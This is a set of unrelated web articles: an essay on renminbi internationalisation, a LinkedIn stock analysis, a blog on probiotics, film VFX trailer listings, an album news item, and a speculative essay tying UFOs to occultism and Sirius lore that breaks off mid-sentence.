advantageous for both parties to price oil and gas and settle in RMB. Indeed, the GCC countries should shift to a currency basket including the RMB and build up RMB holdings as part of their international reserves, rather than maintain a hard peg to the US$ which implies a loss of monetary independence. The growing international role of the RMB will be confirmed in 2015 by its entry into the IMF's Special Drawing Rights (SDR) basket. But for the RMB to become a truly international means of payment and asset currency and alternative to the US$ and the Euro, China needs to gradually move to capital account convertibility and removal of internal distortions, notably interest rate liberalization, greater exchange rate flexibility and the development of RMB money market instruments and debt capital markets, the "Redback Market". Building Local Currency Debt Markets The third building block then, is the development of local currency money and debt markets starting with China and India, given their potential size. Developing local currency debt and Sukuk markets brings multiple benefits: stable access to capital, diversification of monetary policy instruments, and the creation of a yield curve for pricing financial assets, while diminishing exchange rate and refinancing risk from financing through 'hard currency' debt. For China, Renminbisation necessitates the development of an onshore capital market complemented by domestic policy reforms leading to a changed financial structure, with lower dependence on bank financing. However, the speed of adjustment and the sequencing of financial sector reforms are also important. External account liberalisation should be preceded by domestic financial sector reforms and the removal of internal financial distortions. For the RMB to become part of international reserves requires broad, deep and liquid Redback financial markets. The unfolding of the Redback market will dominate international financial markets over the coming decade. A New Multi-Polar Financial Architecture for a New World Order A multi-polar world requires a new international monetary and financial architecture. The Great Financial Crisis and accompanying Great Recession are the final nails in the coffin of the post-WWII Bretton Woods world order, signaling the end of the American US Financial Empire. The BRICS development bank and contingency fund are the forerunners of a new multi-currency world that breaks US dollar hegemony and the domination of Fed monetary policy geared to the exigencies of US business cycles and economic crises. The US will lose its exorbitant privilege as the world's reserve currency as the Yuan Zone expands. This will help resolve the US twin fiscal and current account deficits by imposing fiscal discipline on the US. A multi-polar financial world with new international financial centres emerging in Mumbai and Shanghai will be a more stable world, less prone to financial crises or hostage to mal-regulated too-big-to-fail banks and financial institutions in the too-big-to-fail hubs of New York and London. For the BRICS and emerging economies a new dawn can arise with better access to finance both within and across countries, and less prone to disruptive capital flows and irrational exuberance.
LinkedIn reported Q2 2014 financial results, beating analysts’ expectations for EPS and revenues, sending the stock price to an 11.7% increase a day after the earnings release. LinkedIn presented weak progress in its international revenues with 60% of revenues originating in the US. LinkedIn made a few steps into China to penetrate that market, however; Chinese market is currently dominated by local player Tianji that is owned by French rival, Viadeo. With the global expansion problems and high P/S and forward P/E ratio LinkedIn is not the best tech company to invest in right now. At the end of July, professional social network LinkedIn (NYSE:LNKD), reported its Q2 2014 financial results. LinkedIn reported net revenue of $534M, which is a 13% increase QoQ and an almost 50% increase YoY with double-digit growth in every operating segment. LinkedIn beat analysts’ expectations for Q2 2014 revenue and EPS, and its stock surged the next day to 11.7%, completing a 114% gain since IPO and 25% in the last three months. LinkedIn financials might be impressive, but another look into the geographical spread of the revenue highlights an alarming situation. LinkedIn is very US dependent and 60% of its revenue originate in the US market. As shown in Chart 1 below, the US to international revenue ratio slightly decreased from 1.8 in Q3 2012 to 1.47 in Q2 2014, emphasizing the importance of the US revenue to LinkedIn’s business. In order to grow further, LinkedIn has to reduce its dependency on the US market and increase worldwide membership. LinkedIn decided to penetrate the biggest emerging market in order to drive international growth. At the beginning of the year, LinkedIn launched a simplified Chinese site for the Chinese market and opened a local office led by Derek Shen, president of LinkedIn China. LinkedIn chose an approach that most western social networks who tried to operate in mainland China did not follow, and it is currently censoring some sensitive material according to the Chinese censorship requirements. That might be a wise decision as other social networks, such as Google Plus, Facebook, and Twitter, who refused to cooperate with the Chinese censorship are not accessible from mainland China. These social networks try to offer marketing solutions or complementary services in mainland China in order to generate revenue there, but the task is much harder without a social network service in place. Entering the Chinese market will not be a walk in the park as LinkedIn faces fierce competition from Viadeo, the French-based professional social network. Viadeo currently has 60M members worldwide (compared to LinkedIn’s 300M) and is focused on the European market and the emerging BRIC markets. Viadeo took a different approach than LinkedIn in entering China, and it purchased a local leading professional social network named Tianji in 2007. Collaborating with Tianji allows Viadeo to address the Chinese market through a local player that is familiar with the local mentality and has a strong brand among Chinese working professionals. As local professional social networks grow in China, it is only a matter of time until one of the big internet companies, such as Sina, Tencent, or Baidu offer a professional social network to compete with Viadeo-Tianji and LinkedIn. In case a local internet giant enters the market, the Chinese government might impose further restrictions on that market which may impact LinkedIn more than Viadeo. It will be easier for Tianji to align itself to the state requirements as it is a Chinese company. However, it will be harder for LinkedIn to increase the level of restriction if need arises as it already faces criticism on the current level of censorship it implements in China. LinkedIn is in a sensitive place right now; the company evolved through acquisitions and good business decisions to a professional services giant that has a job search service, sales navigator to increase the number of leads, publishing service, and dedicated app to maintain the user’s connections. LinkedIn managed to break out of the social network market, and registered members can use its services through the new standalone apps (Pulse, Sales Navigator, Job Search and Connected) without the need to log into a social network. LinkedIn is in a spot where it can evolve to a global professional services provider or stay a US-focused social network. LinkedIn price-to-sales ratio of 14.4 and forward PE ratio of 75 indicate an overvalued stock, and rumors about giant short positions may indicate a sentiment change towards LinkedIn. Conclusions The intense competition from Tianji and the constant fear that one of the local internet giants will enter the market backed by the government's increased regulation puts LinkedIn’s growth in China at risk. As Viadeo focuses on emerging markets and global expansion through acquisitions, LinkedIn should act quicker and show results in the short term to offset negative sentiment backed by a high price-to-sales ratio and forward PE ratio. Investors should be careful before entering a LinkedIn position right now; however, current shareholders should re-assess their position in the coming few months in order to avoid a correction in stock price. Disclosure: The author has no positions in any stocks mentioned, and no plans to initiate any positions within the next 72 hours. Information provided in this article is for informational purposes only and should not be regarded as investment advice or a recommendation regarding any particular security or course of action. This information is the writer's personal opinion about the companies mentioned in the article. Investors should conduct their own due diligence and consult with a registered financial adviser before making any investment decision. Lior Ronen and Finro Financial Consulting and Analysis are not registered financial advisers and shall not have any liability for any damages of any kind whatsoever relating to this material. By accepting this material, you acknowledge, understand and accept the foregoing.
Erin Andrews is trying to sell me probiotics.1 She is walking through a bustling gym wearing a sharp blazer and a fresh blow out. Male patrons gawk. She bubbles that the euphoric powers of probiotics can improve digestion and immunity. She takes probiotics, and she has grown tall, healthy, and has a sweet gig interviewing football players. And now every gym member is clamoring to get a slice of that probiotic pie. BTW * It may be surprising, but not all yogurts contain probiotics. Probiotics are often added to yogurt before packaging, and then marketed accordingly. So that cup of Activia has been doused with cultured bacteria, that tube of go-gurt remains probiotic-free. Probiotics are advertised as “healthy bacteria”, that, once consumed and introduced in your stomach, bring harmony to an otherwise tumultuous state amongst the native ruffians (microbial community) inhabiting the depths of your gut.2 They are often supplemented in packaged food that proudly blazes the promotion “live active cultures.”* The Probiotics can now be delivered to your gut-inferno as a tasty drink, a creamy yogurt, or a convenient pill. These ads have led many nutritionally-minded patrons to regularly inoculate their stomachs with yogurt. Yet, as an environmental microbiologist, these commercials have never convinced me of the miracles of their supplement. We environmental microbiologists have already relied on the miracles of cultured bacteria, only to receive broken promises and shattered dreams. The busted bubble of environmental microbiologists In the 1970’s-1980’s, environmental microbiologists were on cloud nine. Scientists could genetically manipulate bacteria to do anything. And they had finally cultured bacteria to breakdown petroleum-based liquids. Make bacteria breakdown our garbage, of course! Imagine an oil spill, potentially drifting toward a beach filled with sunning baby seals. A simple dousing of the oil spoil with these miracle bacteria, and the bacteria will munch down the spill to nothing; the baby seals can continue to live a full and vibrant life. While this seemed but a scientific dream, researchers were salivating over the idea of engineering bacteria to remediate a variety of our pollution needs. Lawyers were salivating too. These environmental microbiologists were thinking of genetically engineering bacteria and releasing them in the environment? These bacteria could go wild, and take over entire ecosystems, becoming stronger as they swarm our natural environments. Think of the lawsuits, think of the regulations! But, alas, the appetites of neither the environmental microbiologists nor the litigators would be fed. Once these plump, petroleum-degrading bacteria were released in the environment, the bacteria did the most disappointing thing possible: they died. A fish out of water The scientific reason for the disappointment was obvious, and environmental microbiologists could only slap their hands to their foreheads. Bacteria already native to the natural environment had been there for thousands of generations. They knew how to handle themselves in the microbial hood. They grew to be strong; these tough natives could handle the harsh conditions on the home-front better than any foreign organism. And yet, environmental microbiologists tried to culture bacteria in a cushy laboratory, and then introduce it as the new boss? Not up in here! This phenomenon is easily understood in the animal kingdom. Consider the majestic lion. This lion can withstand the dry, hot summers of Africa. Its legs are fast to catch the fleeing gazelle. And its jaws are strong to snap through the body of its enemies and prey. Now imagine relocating that majestic lion to the Arctic Circle. The lion now becomes polar bear food. It’s a jungle out there, and the human gut is no different. Swallowing probiotics and hoping for harmony in your stomach is the same naïve thinking of the environmental microbiologists of the 1980’s. Your natural gut bacteria have been there for generations, and have no problem bullying any new-comers that has a soft upbringing in a Dannon food laboratory. Some of these spoiled bacteria don’t even survive past the colon.3 And while some bacterial strains (such as some types of Lactobacillus) do survive the harsh journey to the gut, they must now complete their mission past enemy lines. Whether probiotics are hardy enough to make it to the gut and compete with the native bacteria competition is still argued; thus probiotics have not yet earned FDA approval. Like environmental microbiologists, probiotic scientists might have cultured a bacterial dream team that only survives in their cushy lab. The fact is, most probiotics is gut bacteria food. When probiotics work BTW ** This is why there is wide-spread success with (gulp) fecal transplants. While the lab-based bacteria normally have a tough time competing with the big bad natives in your gut, there is a time when the probiotics thrive: when the native bacteria have been wiped out. The natives can be wiped out through a dosing of antibiotics, or food poisoning (roadside sushi, what was I thinking). In this case, probiotics can replenish an empty gut ecosystem, while you wait for the natives to return to a natural order.** BTW ***Likewise, environmental microbiologists are now trying to change the conditions of nature to promote the growth of the desired bacteria. There is actually scientific reasoning behind dumping iron in the middle of the ocean, or pumping molasses underground. And for those who swear by probiotics, the sudden improvement in your digestive system may not be an illusion. Probiotics are now accompanied with prebiotics, which is food for the healthy bacteria in your gut.*** This serving of prebiotic may feed both the lab-supplemented probiotic, as well as the healthy bacteria already native to your belly. So that happy feeling after a heaping spoonful of probiotic yogurt may have been due to the actual yogurt itself. Of course, commercial scientists are on the lookout for the white unicorn: a probiotic that can be cultured in the lab, swirled in your food, and thrive in your gut, outcompeting all the less desired, native gut bacteria. Whether you want a foreign, lab grown bacteria to bully you native gut bacteria in your stomach is up to you. But, if anyone wants to join me in opening a clinic that could care less about swallowing probiotics, but focuses on promoting growth of healthy natives by changing the stomach conditions, call me. I think we could make a lot of money. References
CAPTAIN AMERICA: CIVIL WAR New TV spot for CAPTAIN AMERICA – CIVIL WAR: The VFX are made by: Industrial Light & Magic (VFX Supervisor : Russell Earl) Method Studios Rise FX Trixter Double Negative Luma Pictures Lola VFX Cantina Creative Animal Logic The Third Floor The Production VFX Supervisor is Dan DeLeeuw Directors: Anthony Russo & Joe Russo Release […] The post CAPTAIN AM […] ALICE THROUGH THE LOOKING GLASS Brand new trailer for ALICE THROUGH THE LOOKING GLASS with tons of new VFX shots: The VFX are made by: Double Negative (VFX Supervisor : Jesper Kjolsrud) Sony Pictures Imageworks (VFX Supervisor : Ken Ralston) Director: James Bobin Release Date: 27 May 2016 (USA) Today is a very important date. It's Time to fall ?. https://t.co/lfdJF0GZZ0 […] The post A […] THE JUNGLE BOOK Impressive VFX work by MPC in this clip from THE JUNGLE BOOK: The VFX are made by: MPC (VFX Supervisor : Adam Valdez) Weta Digital (VFX Supervisor : Dan Lemmon) The Production VFX Supervisor is Robert Legato. Director: Jon Favreau Release Date: 15 April 2016 (USA) © Vincent Frei – The Art of VFX – […] The post THE JUNGLE BOOK appeared first on The Art of VFX […] WARCRAFT International trailer for WARCRAFT with new VFX shots: The VFX are made by: Industrial Light & Magic (VFX Supervisor: Jeff White) Hybride (VFX Supervisor: Joseph Kasparian) Rodeo FX (VFX Supervisor: Arnaud Brisebois) The Production VFX Supervisor is Bill Westenhofer. Director: Duncan Jones Release Date: 10 June 2016 (USA) © Vincent Frei – The Art of […] […] AVENGERS – AGE OF ULTRON: Shot Breakdown by Trixter Trixter have released a shot breakdown from their VFX work on AVENGERS – AGE OF ULTRON: WANT TO KNOW MORE? Trixter: Dedicated page about AVENGERS – AGE OF ULTRON on Trixter website. © Vincent Frei – The Art of VFX – 2016 The post AVENGERS – AGE OF ULTRON: Shot Breakdown by Trixter appeared first on The Art of VFX. GAME OF THRONES Season 6 New season 6 promo for GAME OF THRONES: The VFX are made by: Cadence Clearcut El Ranchito Iloura Image Engine Karakter Lola Mackevision Pixomondo Rising Sun Pictures Rhythm & Hues Robert Stromberg Rodeo FX Screen Scene The Third Floor The Production VFX Supervisor is Joe Bauer and the VFX Producer is Steve Kullback. Release Date: […] The post GAME OF THR […] SUBURRA: VFX Breakdown by Visualogie The italian studio Visualogie presents their invisible VFX work on SUBURRA: WANT TO KNOW MORE? Visualogie: Dedicated page about SUBURRA on Visualogie website. © Vincent Frei – The Art of VFX – 2016 The post SUBURRA: VFX Breakdown by Visualogie appeared first on The Art of VFX.
The Avalanches’ second album Wildflower has been a long time coming. Since its announcement earlier this year, we’ve heard “Colours” featuring Mercury Rev’s Jonathan Donahue and “Frankie Sinatra” featuring Danny Brown and MF DOOM. Before all that, they teased their new song “Subways” and recently released the full version. Now, Wildflower—slated for a July 8 release via Astralwerks—has been made available a week early for streaming via Apple Music. It features guest appearances from Father John Misty, Toro y Moi, Ariel Pink, and more. Preview it below, or click through to Apple Music for the whole thing. Read “10 Times Hell Has Frozen Over Since the Last Avalanches Album” on the Pitch and our report from their comeback set at Primavera Sound Festival. Listen to the Avalanches' song “Colours” below:
Ritual Magic, Mind Control and the UFO Phenomenon Part 1 It was not long after my own encounter with strange aerial phenomenon that I began to see a link between UFOs to such seemingly disparate topics as psychedelics, psychotronics, and ritual magick. As the years pass, the Extraterrestrial Hypothesis (ETH) makes far less sense to the observer than other theories ranging from mind control conspiracies or — on the other hand — fissures in the space-time continuum which provide a portal of entry for ghostly apparitions that can be saucer-shaped or even take on the form of Moth-Men, Chupacabras or the Blessed Virgin Mary. UFOs encompass a wide range of phenomenon and cannot be categorized simply in terms of little gray skinned buggers from Zeta-Reticuli shoving probes up human rectums (Ouch!). To me the term "UFO" simply suggests something unexplainable hovering in outer or inner space, whether it is machine-like elves encountered under the influence of DMT, or nuts and bolt craft performing inexplicable aerial maneuvers over Area 51. UFOs are limited only by our imagination, and to consider them merely craft from another galaxy is as narrow a view as postulating that newborn babies are delivered exclusively by storks. UFOs are also — in my estimation — a product of altered consciousness, which is not to suggest that all sightings are in part, or in whole, complete hallucinations. What I'm suggesting is that in order to observe UFOs, one must often enter into a more receptive state, much like a psychic or channeler tunning into voices or subtle energies. Channelers must first induce in themselves a trance state before being able to contact "voices from the beyond". The same goes for magickal workings wherein magicians carry out rituals in order to invoke spirits and/or demons. A corollary to the above statement is the famed Amalantrah Working of legendary occultist Aleister Crowley, which consisted of a series of visions he received from January through March of 1918 via his then "Scarlet Women," one Roddie Minor. Throughout his life, Crowley had a number of Scarlet Women, who acted as "Channels" for otherworldly transmissions of angelic and/or demonic origin. The Scarlet Woman also played a large part in Crowley's notorious sex ritual, at times combining drugs and bestiality to stir up those strange energies into which good ol' Uncle Al was trying to tap. To quote Crowley chronicler Kenneth Grant from Aleister Crowley and the Hidden God: “Crowley was aware of the possibility of opening the spatial gateways and of admitting an extraterrestrial current in the human life-wave... It is an occult tradition — and Lovecraft gave it persistent utterance in his writings — that some transfinite and superhuman power is marshaling its forces with intent to invade and take possession of this planet... This is reminiscent of Charles Fort's dark hints about a secret society on earth already in contact with cosmic beings and, perhaps, preparing the way for their advent. Crowley dispels the aura of evil with which these authors (Lovecraft and Fort) invest the fact; he prefers to interpret it thelemically, not as an attack upon human consciousness from within, to embrace other stars and to absorb their energies into a system that is thereby enriched and rendered truly cosmic by the process...” It was through the Amalantrah Working — which included the ingestion of hashish and mescaline in its rituals — that Crowley came into contact with an interdimensional entity named Lam, who by the way just happens to be a dead ringer for the popular conception of the "Grey" alien depicted on the cover of Whitley Strieber's Communion. Crowley called them "Enochian entities" because he purportedly contacted them by using "Enochian call", a Cabalistic system/language devised by 17th century Elizabethan magician, Dr. John Dee. From this alleged encounter, some have inferred that the industrious Mr. Crowley intentionally opened a portal of entry through the practice of ritual magick, which allowed the likes of Lam and other "alien greys" a passageway onto Earth plane. Dr. John Dee and his "scryer", Edward Kelly, had their own strange encounters with — as they call them — "little men" who moved about "in a little fiery cloud", thus a pattern exists in the lore of ritual magic connecting UFOs to sorcery. Some now believe that what Crowley tapped into was the same unconscious reservoir of high weirdness that helped launch the current rash of alien abductions, as reported by such "experts" in the field as Bud Hopkins, John Mack, David Jacobs et al. When making these connections, bear in mind that many abductees recall their encounters with these gray skinned creatures only after they've been hypnotically regressed. Once again, we see that trance state — not unlike those ASC's produced during rituals such as the Amalantrah Working — are often the triggering factor which opens up a portal for these strange entities. According to Kenneth Grant, this tradition has been continued by current day adepts of the Great Beast, who follow in his footsteps practicing ritual magic to invoke these "alien entities". In Outside the Circles of Time , Grant writes: “Some believe that the UFO phenomena are part of the "miracle", and a mounting mass of evidence seems to suggest that mysterious entities have been located within the earth's ambience for countless centuries and that more and more people are being born with innate ability to see, or in some way sense their presence... Prayer for deific intervention in ancient times has now become a cri de coeure to extra-terrestrial or interdimensional entities, according to whether the manifestations are viewed as occuring within man's consciousness, or outside himself in apparently objective but often invisible entities. New Isis Lodge has in its archives the sigils of some of these entities. The sigils com from a grimoire of unknown origin which forms a part of the dark quabalahs of Besqul, located by magicians in the Tunnel of Quliefi. The grimoire describes Four Gates of extraterrestrial entry into, and emergence from, the known Universe.” What Grant is speaking of is a form of ritual magic(k) practiced by such groups as the Golden Dawn, and the Ordo Templi Orientis(O.T.O.). "Sigils" are line drawings and diagrams that serve as signatures of entities accessible to a trained magician familiar with "Enochian calls" and other methods of summoning "spirits". A grimoire is a directory of such sigils, and a manual for their use. A noted disciple of Crowley's, Jack Parsons — one time head of the California branch of the O.T.O., and renowned rocket scientist — carried on this tradition of interdimensional contact when, in 1946 — with the aid of "Frater H." — he made contact with some sort of entities not at all unlike Crowley's "Lam". This all took place during a series of magic rituals deemed the Babalon Workings. What makes this story all the more bizarre is that Parson's accomplice in this endeavor — the aforementioned Frater H. — became more commonly known afterwards as the charismatic cult leader L.Ron Hubbard, the founder of Scientology. Apparently, Hubbard played a role similar to that of Edward Kelly, "scryer" for the aforementioned Dr. John Dee, of whom Crowley was an ardent admirer. A scryer works as a receptor of otherworldly communications, often using a crystal ball or similar device in conjunction with the magician's rituals and ceremonies to summon beings from other dimensions. Together magician and scryer work hand-in-hand in summoning these otherworldly beings: be they angels, demons or spirits of the dead. Crowley's Scarlet Woman, in many instances, performed this same function; for instance Crowley's first wife, Rose Kelly — while in a magical trance — received the first three chapters of the infamous Book of the Law, the manuscript that laid the foundation for Crowley's "religion", Thelema. Furthermore, the portal of entry for the extraterrestrial beings that Crowley theoretically opened (when he invoked the entity "Lam") may have been further enlarged by Parsons and Hubbard with the commencement of the Babalon Working, thus facilitating a monumental paradigm shift in human consciousness. As Kenneth Grant wrote, "The [Babalon] Working began... just prior to the wave of unexplained ariel phenomena now recalled as the 'Great Flying Saucer Flap!' Parsons opened a door and something flew in." Such researchers as John Carter suggest that the detonation of atomic bombs over Japan — during the latter part of World War II — may have also played a part in opening this door between dimensions or, at least, attracted the curiosity of our intergalactic neighbors. As Thelemic history instructs, 1947 ended the first stage of the Babalon Working, as Parsons and Hubbard parted ways amid a cloud of turmoil.(Apparently, Hubbard split with Parsons wife and a large part of his fortune.) It was the same year the Modern Age of UFOs flew into view with the Kenneth Arnold sightings over Mt. Rainer in Washington state, followed not long after by the legendary saucer crash in Roswell, New Mexico. 1947 was also the year that marked the passing of the Great Beast, Aleister Crowley. Not long after these monumental events, in 1948, Albert Hoffman gave birth to LSD, which indicates that strange things were indeed aloof in the collective unconscious of humanity between the years of 1946-48. Connecting all this high weirdness up even tighter is conspiracy researcher John Judge, who — in an interview on KPFK radio, Los Angeles on August 12, 1989 dubbed "Unidentified Fascist Observatories" — stated that Kenneth Arnold and Jack Parsons were flying partners, though I have as yet, been unable to find additional corroboration to support his claim. As for L. Ron Hubbard — though it is not well publicized by current day members of the Church of Scientology — much of his "religion" was based on a bizarre cosmology he apparently concocted, perhaps to see how much his flock was willing to swallow, a thesis which suggested that several million years ago the souls of dead space aliens (Thetans) entered into the body of Earth humans, and that is part of the reason why today were so screwed up as a species. Another interesting "UFO" parallel to note is that Parsons and Hubbard's "visionary experience" with these alien-like entities transpired in the California desert, which during the late 40's and 50's was a hotbed for flying saucer activity. It was in this setting that such famous "Contactees" as George Adamski and George Hunt Williamson invoked their own brand of cosmic messengers transported by saucers, cigar-shaped vessels and the like, often originating from nearby Venus, or other seemingly uninhabitable planets in our solar system. In the 1930's — prior to his "Space Brother" encounters — Adamski operated a monastery dubbed "The Royal-Order of Tibet," which afforded him a permit to make sacrificial wine during the Prohibition. After the Prohibition ended, Adamski's monastery suddenly closed its doors, and he afterwards opened a burger stand near the Mount Polomar Observatory. While there, Adamski claimed to have helped astronomers photograph several UFO's — a claim that afterwards was never verified by anyone at the observatory. Adamski's first encounter with the "Space Brothers" occurred in the Mojave Desert on November 20, 1952, when — in the company of George Hunt Williamson and some other friends — he witnessed a cigar-shaped craft being pursued by military jets. Just before disappearing from sight, the craft ejected a silver disc, which landed a short distance from Adamski and his party. When Adamski arrived at the saucer he was greeted by a man with long blonde hair, wearing a one-piece suit. Telepathically, the "man" informed Adamski he was from Venus, and that he was concerned about the possibility of atomic bomb radiation from Earth reaching other planets in the solar system, and that various beings from throughout the galaxy were visiting Earth harboring these same concerns. According to Adamski, he was taken aboard one of the alien ships and flown around to several venues throughout the universe, including the dark side of the moon. During the course of his ariel foray, Adamski took an array of spurious photographs that have been widely viewed as a hoax. In "Unidentified Fascist Observatories", John Judge asserts that Adamski was an asset of the CIA, who in his lecture tours throughout the 50's and 60's dispersed disinfo on behalf of the Company. Adamski's colleague — George Hunt Williamson — went on to author several UFO books, such as Other Tongues — Other Flesh, and promulgated the idea of a cosmic good-versus-evil battle taking place between the "good guys" from the dog star, Sirius, versus the evil shit-kickers from Orion. Strangely enough, the planet Sirius is a recurring theme found throughout Occult and UFO lore. Of note in this regard is Robert Temple's The Sirius Mystery, published in 1977, which documents the history of the Dogon tribe in Africa, and their fabled meetings with the Nommo, a race of three-eyed, crab-clawed beings from Sirius. It was these intergalactic emissaries — as Dogon legends record — that passed onto the tribe as far back as 3200 B.C. various astronomical data, among which that Sirius has a companion star invisible to the naked eye. These legends far predate the advent of telescopes, and were later confirmed by astronomers. This "companion" star — Sirius B — wasn't even photographed until 1970. In addition to this knowledge regarding Sirius B, such as the fact that Jupiter has four moons; Saturn has a ring around it; and that the planets in our solar system orbit around the sun. All of these facts, of course, were later confirmed by science. In the Sirius Mystery, Temple traces contact with the Nommos all the way back to Sumeria circa 4500 B.C. At that time, he says, these three-eyed-crab-clawed creatures appeared in their mighty space ships from the stars, bestowing unto humankind vast secrets; revealing mysteries and esoteric knowledge passed on to initiates in various secret societies in Egypt, the Near East, and Greece. These initial contacts Temple contends, planted the seeds for the various mystery religions, whose offshoots include the likes of Giordano Bruno, Dr. John Dee, and the overall foundation which laid the stones for Freemasonry, and other secret schools of esoteric knowledge such as the Knights Templar and the Rosicrucians. In fact, Freemasons believe that civilization on Earth was initially formed by initiates from the Sirius star system, whom they equate with the Egyptian Trinity of Isis, Osiris, and Horus. In these legends, Osiris has been portrayed as a precursor to Christ, who was first crucified then later resurrected, forming the basis of an Egyptian priesthood that worships Sun gods. The adepts of these mystery religions have always referred to themselves — in one form or another — as the Illuminati; those who have been "illuminated" by their worship of the various Sun gods/Moon goddesses. In his treatise, Temple further notes that the entire Egyptian calendar revolved around the movements of Sirius, and that the calendar year began with the "dog days" when Sirius started to rise behind the Sun. According to Phillip Vandenburg in The Curse of the Pharaoh: "An archaeologist named Duncan MacNaughton discovered in 1932 that the long dark tunnels in the Great Pyramid of Cheops function as telescopes, making the stars visible even in the daytime. The Great Pyramid is oriented, according to MacNaughton, to give a view, from the King's Chamber, of the area of the southern sky in which Sirius moves throughout the year." The brightest star in the heavens, Sirius is used for navigational purposes because it usually remains fixed in the sky. Comparatively speaking, it's approximately 35 times brighter than our own sun, and is regarded in occult circles as "the hidden god of the cosmos." The famous emblem of the all-seeing eye — seen hovering above the unfinished pyramid — is a depiction of the Eye of Sirius, and is a common motif found throughout Masonic lore. It is no secret that many of our nation's founding fathers were Freemasons, which explains the odd appearance of the Eye of Sirius on the dollar bill; a symbol seen everyday by millions of people across the globe, imprinting it's image forever in our psyches. The imprinting of such imagery has been called into question in recent times by a whole host of conspiracy theorists, who — in their New World Order scenarios — connect such fraternal orders as the Knights of Malta, Freemasonry and Rosicrucianism with the "insidious" symbol of Sirius, the eye in the triangle. At the top of this pyramid — the conspiracy theorists suggest — is the dreaded illuminati, tying all of these fraternal orders and secret societies together in a far flung plot intended to bring mankind to its knees under a futuristic Orwellian nightmare; a totalitarian society masquerading as a libertarian democracy, which uses Masonic imagery to program the masses. As if this entire story wasn't already jumbled enough, the dawning of the 20th century ushered in a new generation of contacts paying homage to the "Dog Star", expounding ever further upon the legend of the hovering eye upon the pyramid. Right around the turn of the century, a gentleman named Lucien-Francois Jean-Maine formed an order in Haiti called the Cult of the Black Snake that used rituals borrowed from Crowley's O.T.O. in combination with certain voodoo practices. In 1922, these rituals reportedly summoned forth a disembodied being named Lam, the very same entity that Aleister Crowley made contact with a few years earlier. In fact, Kenneth Grant has stated that Crowley "unequivocally identifies his Holy Guardian Angel with Sothis(Sirius), or Set-Isis." Later — in the 1950's and 60's — the aforementioned saucer "contactee" George Hunt Williamson once again summoned forth certain denizens purportedly from Sirius, conversing to them in the same "Enochian" or "Angelic" language used by John Dee and Aleister Crowley. Williamson — in his various books an lectures — also spoke of a secret society on Earth that has been in contact with Sirius for thousands of years, and that the emblem of this secret society is the eye of Horus, otherwise known as the all-seeing eye. As previously noted, Williamson was a close associate of George Adamski, perhaps the most famous of the early UFO Contactees, who claimed to be connected with astronomers at Palomar Observatory in California, in whose company he allegedly witnessed several UFO sightings. In a fascinating essay entitled "Sorcery, Sex, Assassination, and the Science of Symbolism", author James Shelby Downard describes a "Sirius-worship cult" reaching all the way to the highest levels of the CIA. In this provocative piece, Shelby describes one of their rituals taking place at the Palomar Observatory under the telescopically focused light of Sirius, bathing its participants in luminance of the majestic Dog-Star; a true Illuminati ritual on high. A rash of Sirian references continued on into the 1970's, perhaps inspired by Robert Temple's book. In 1974, Science fiction writer Phillip K. Dick had some sort of "mystical experience" which at first he attributed to psychotronic transmissions," as he called them, commenced on March 20, 1974, showering him with endless reams and streams of visual and audio data. Initially, this overpowering onslaught of messages that Dick received was extremely unpleasant and, as he termed them, "die messages." Within the following week, he reported being kept awake by "violet phosphor activity, eight hours uninterrupted." A description of this event in a fictionalized form appears in A Scanner, Darkly. The content of this phosphene activity was in the form of modern abstract graphics followed by Soviet Music serenading his head, in addition to Russian names and words appearing there, as well. Dick's original theory was that Russian mind control agents were targeting him with these transmissions. At the outset, Dick felt the emanations invading his mind were of a malevolent nature, although in time he began to believe they were something entirely different. In a letter to Ira Einhorn dated February 10, 1978, Dick went into more depth on those psychotronic transmissions, claiming that they "seemed sentient". He felt that an alien life form existing in some upper layer of the Earth's atmosphere had been attracted by the Soviet psychotronic transmissions. Apparently, this alien life form operated as a "station", tapping into some sort of interplanetary communication grid that, "...contained and transmitted vast amounts of information." What Dick initially received were the Soviet transmissions, but eventually this alien life form — whom he called Zebra — became "...attracted or potentiated by the Soviet micro-wave psychotronic transmissions." In the months that followed, this alien entity — according to Dick — vastly improved his mental and physical well being in a number of ways. It (Zebra) gave him "...complex and accurate information about myself and also about our infant son, which, Zebra said, had a critical and undiagnosed birth defect which required emergency and immediate surgery. My wife rushed our baby to the doctor and told the doctor what I had said (more precisely what Zebra had said to me) and the doctor discovered that it was so. Surgery was scheduled for the following day — i.e. as soon as possible. Our son would have died otherwise." (Dick's wife Tessa and others have since confirmed this story regarding the medical conditions of himself and son, Christopher.) Phil Dick felt Zebra was totally benign, and it held great contempt for the Soviets and their psychotronic experiments. Furthermore, Zebra informed Dick that the Earth was dying, and that spray-cans were "...destroying the layer of atmosphere in which Zebra...existed. It was not until several years after his "mystical experiences" with Zebra that Phil Dick finally wrote about these events in his classic novel VALIS. Prior to the publication of VALIS, Dick had never made any mention of Sirius in connection with the events that so drastically impacted his life. However, in his classic work, Dick renamed Zebra to VALIS (Vast Active Living Intelligence System) and identified it as a product of Sirius star system, identifying it's operators as three-eyed crab-clawed beings. During this period — 1973-74 — noted author Robert Anton Wilson was having his own experiences with "Et denizens" which at the time he thought were "telepathic communications from Sirius" as recounted in his mind-blowing book, Cosmic Trigger. Although Wilson and Dick knew one another — and Wilson was aware that he had had some sort of transcendental experience in March of 1974 — Dick never mentioned Sirius in any of their conversations, or anything in reference to being contacted by "aliens". It wasn't until many years later — when he read VALIS — that Wilson became aware of this revelation. It should also be noted that in the late 60's/early 70's Robert Anton Wilson traveled down some of the same paths as Aleister Crowley, dabbling in ritual magic and psychedelic adventurism as a means of opening certain doors of perception, perhaps the very same ones that created a portal of entry for "Lam". Also in the early 70's, popular English mainstream novelist Doris Lessing began a series of Sci-Fi novels revolving around particular entities from Sirius, which was a definite departure from her previous literary offerings. In the third novel of this series, The Sirian Experiments, Lessing relates a tale with stunning similarities to Dick's VALIS experiences. When Robert Anton Wilson met Mrs. Lessing in 1983, she said she had never read a lick of Dick — or Wilson, for that matter. It's hard to tell how much of this was cross-pollination; be it intentional or a subconscious filtration process that leaked in and out of a few cracked brains fixated on the Dog Star. Another somewhat unlikely source for such conjecture was the heavy metal rock band Blue Oyster Cult. At face value, one might consider BOC another in a long line of head banging guitar slingers, but upon closer examination many of their lyrics allude to subjects occult or arcane, often referring to amphibian-like beings from outer-space, as well as Sirius in their song "Astronomy". "...and don't forget my dog, fixed and consequent. Astronomy...a star!" But not only has Sirius cropped up time and again in Occult and UFO lore, but the ubiquitous Dog Star has also been mentioned in relation to certain mind control experiments which fall under the nefarious umbrella of the CIA’s MKULTRA project. Purportedly started in 1953 — under a program that was exempt from congressional oversight — MK-ULTRA agents and 